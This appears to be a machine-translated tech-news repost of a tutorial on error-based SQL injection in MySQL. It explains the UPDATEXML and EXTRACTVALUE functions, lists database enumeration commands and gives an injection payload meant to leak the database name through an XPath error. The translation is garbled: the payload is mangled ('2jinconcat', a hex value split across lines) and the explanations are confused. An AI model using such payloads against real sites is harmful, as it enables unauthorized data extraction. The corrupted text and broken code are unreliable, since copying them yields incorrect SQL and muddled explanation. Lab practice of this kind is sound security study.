Shulou(Shulou.com)06/01 Report--

It is believed that many inexperienced people do not know what to do with the example analysis of showing error injection updatexml and extractvalue. Therefore, this article summarizes the causes and solutions of the problem. Through this article, I hope you can solve this problem.

First of all, introduce two functions.

UPDATEXML (XML_document, XPath_string, new_value)

The first parameter: XML_document is in String format, which is the name of the XML document object, Doc in the text

The second parameter: XPath_string (string in Xpath format). If you don't know the Xpath syntax, you can find tutorials online.

The third parameter: new_value,String format, replacing the data found that meets the criteria

EXTRACTVALUE (XML_document, XPath_string)

The first parameter: XML_document is in String format, which is the name of the XML document object, Doc in the text

The second parameter: XPath_string (string in Xpath format)

First, query the database name

Show databases

2. Select database security

Use security

Display the tables in the database

Show tables

Fifth, use the function updatexml injection to obtain the database name

Mysql > select * from users where id=1 and updatexml (2jinconcat (0x3D) database (), 0x3

D), 2)

After reading the above, have you mastered the method of example analysis of injecting updatexml and extractvalue with obvious errors? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.